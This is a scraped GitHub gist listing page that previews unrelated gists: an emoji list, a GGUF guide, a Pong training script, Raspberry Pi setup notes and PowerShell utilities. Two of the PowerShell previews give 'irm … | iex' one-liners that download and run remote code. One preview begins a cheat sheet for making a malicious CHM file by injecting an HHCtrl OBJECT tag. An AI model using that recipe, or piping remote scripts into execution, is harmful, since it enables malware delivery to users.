eabase

## gist:7360908

      
              1 file
            
          
              3631 forks
            
          
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                rxaviers
                / gist:7360908
            
            
              Last active
              May 2, 2024 09:30
            
              
                Complete list of github markdown emoji markup
              
          
    People


 :bowtie:
😄 :smile:
😆 :laughing:


😊 :blush:
😃 :smiley:
☺️ :relaxed:


😏 :smirk:
😍 :heart_eyes:
😘 :kissing_heart:


😚 :kissing_closed_eyes:
😳 :flushed:
😌 :relieved:


😆 :satisfied:
😁 :grin:
😉 :wink:


😜 :stuck_out_tongue_winking_eye:
😝 :stuck_out_tongue_closed_eyes:
😀 :grinning:


😗 :kissing:
😙 :kissing_smiling_eyes:
😛 :stuck_out_tongue:


## README.md

      
              1 file
            
          
              4 forks
            
          
              7 comments
            
          
              63 stars
            
          
                Artefact2
                / README.md
            
            
              Last active
              April 30, 2024 17:18
            
              
                GGUF quantizations overview
              
          
    Which GGUF is right for me? (Opinionated)

Good question! I am collecting human data on how quantization affects outputs. See here for more information: ggerganov/llama.cpp#5962
In the meantime, use the largest that fully fits in your GPU. If you can comfortably fit Q4_K_S, try using a model with more parameters.
llama.cpp feature matrix

See the wiki upstream: https://github.com/ggerganov/llama.cpp/wiki/Feature-matrix

  
## pg-pong.py
""" Trains an agent with (stochastic) Policy Gradients on Pong. Uses OpenAI Gym. """
import numpy as np
import cPickle as pickle
import gym

# hyperparameters
H = 200 # number of hidden layer neurons
batch_size = 10 # every how many episodes to do a param update?
learning_rate = 1e-4
gamma = 0.99 # discount factor for reward

## dlib and face_recognition on raspberry pi.md

      
              1 file
            
          
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              107 comments
            
          
              211 stars
            
          
                ageitgey
                / dlib and face_recognition on raspberry pi.md
            
            
              Last active
              April 17, 2024 17:40
            
          
    Install dlib and face_recognition on a Raspberry Pi

Instructions tested with a Raspberry Pi 2 with an 8GB memory card. Probably also works fine on a Raspberry Pi 3.
Steps

Download the latest Raspbian Jessie Light image. Earlier versions of Raspbian won't work.
Write it to a memory card using Etcher, put the memory card in the RPi and boot it up.

  
## restore-desktop-ini.md

      
              1 file
            
          
              2 forks
            
          
              4 comments
            
          
              20 stars
            
          
                hyrious
                / restore-desktop-ini.md
            
            
              Last active
              April 6, 2024 16:55
            
              
                restore desktop.ini if some guy messed them up
              
          
    Take %UserProfile%\Desktop\desktop.ini for example.

Create a desktop.ini file with content below and saved in UTF-16 LE with BOM. Hopefully notepad.exe has such choice to use the right encoding.

[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
IconResource=%SystemRoot%\system32\imageres.dll,-183

  
## stslte-notes.md

      
              1 file
            
          
              7 forks
            
          
              2 comments
            
          
              27 stars
            
          
                JamesHagerman
                / stslte-notes.md
            
            
              Last active
              March 17, 2024 20:37
            
              
                My notes about running srsLTE
              
          
    srsLTE notes

These are notes I've taken while rying to get srslte up and running. This is messy, sorry...
Working solution - LimeSDR + SoapySDR + srsLTE

Dependencies:
sudo apt install tree vim git g++ make cmake pkg-config libpython-dev python-numpy swig libi2c-dev libusb-1.0-0-dev libfftw3-dev libmbedtls-dev libboost-program-options-dev libconfig++-dev libsctp-dev gnuradio


## Out-HostColored.ps1
<#

  Prerequisites: PowerShell version 2 or above.
  License: MIT
  Author:  Michael Klement <mklement0@gmail.com>

  DOWNLOAD, from PowerShell version 3 or above:

    irm https://gist.github.com/mklement0/243ea8297e7db0e1c03a67ce4b1e765d/raw/Out-HostColored.ps1 | iex

## Malicious-CHM-Guide.md

      
              1 file
            
          
              10 forks
            
          
              5 comments
            
          
              35 stars
            
          
                mgeeky
                / Malicious-CHM-Guide.md
            
            
              Created
              February 6, 2018 13:52
            
              
                CheatSheet describing how to create malicious CHM file by hand (another approach is to use Nishang's Out-Chm scriptlet).
              
          
    Procedure for generating Malicious CHM file


Step 0: Download and install Microsoft HTML Help Workshop and Documentation
Step 1: Obtain a valid CHM file and unpack it using 7-zip
Step 2: Find an entry-point HTML file within "docs" directory and insert the following code into it's <body> section:

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>


## pg-pong.py
""" Trains an agent with (stochastic) Policy Gradients on Pong. Uses OpenAI Gym. """
import numpy as np
import pickle
import gym

# hyperparameters
H = 200 # number of hidden layer neurons
batch_size = 10 # every how many episodes to do a param update?
learning_rate = 1e-4
gamma = 0.99 # discount factor for reward

## Enter-AdminPSSession.ps1
<#

  Prerequisites: PowerShell v3+
  License: MIT
  Author:  Michael Klement <mklement0@gmail.com>

  DOWNLOAD and DEFINITION OF THE FUNCTION:

    irm https://gist.github.com/mklement0/f726dee9f0d3d444bf58cb81fda57884/raw/Enter-AdminPSSession.ps1 | iex
`:bowtie:`	😄 `:smile:`	😆 `:laughing:`
😊 `:blush:`	😃 `:smiley:`	☺️ `:relaxed:`
😏 `:smirk:`	😍 `:heart_eyes:`	😘 `:kissing_heart:`
😚 `:kissing_closed_eyes:`	😳 `:flushed:`	😌 `:relieved:`
😆 `:satisfied:`	😁 `:grin:`	😉 `:wink:`
😜 `:stuck_out_tongue_winking_eye:`	😝 `:stuck_out_tongue_closed_eyes:`	😀 `:grinning:`
😗 `:kissing:`	😙 `:kissing_smiling_eyes:`	😛 `:stuck_out_tongue:`
	""" Trains an agent with (stochastic) Policy Gradients on Pong. Uses OpenAI Gym. """
	import numpy as np
	import cPickle as pickle
	import gym

	# hyperparameters
	H = 200 # number of hidden layer neurons
	batch_size = 10 # every how many episodes to do a param update?
	learning_rate = 1e-4
	gamma = 0.99 # discount factor for reward
	<#

	Prerequisites: PowerShell version 2 or above.
	License: MIT
	Author: Michael Klement <mklement0@gmail.com>

	DOWNLOAD, from PowerShell version 3 or above:

	irm https://gist.github.com/mklement0/243ea8297e7db0e1c03a67ce4b1e765d/raw/Out-HostColored.ps1 \| iex
	""" Trains an agent with (stochastic) Policy Gradients on Pong. Uses OpenAI Gym. """
	import numpy as np
	import pickle
	import gym

	# hyperparameters
	H = 200 # number of hidden layer neurons
	batch_size = 10 # every how many episodes to do a param update?
	learning_rate = 1e-4
	gamma = 0.99 # discount factor for reward
	<#

	Prerequisites: PowerShell v3+
	License: MIT
	Author: Michael Klement <mklement0@gmail.com>

	DOWNLOAD and DEFINITION OF THE FUNCTION:

	irm https://gist.github.com/mklement0/f726dee9f0d3d444bf58cb81fda57884/raw/Enter-AdminPSSession.ps1 \| iex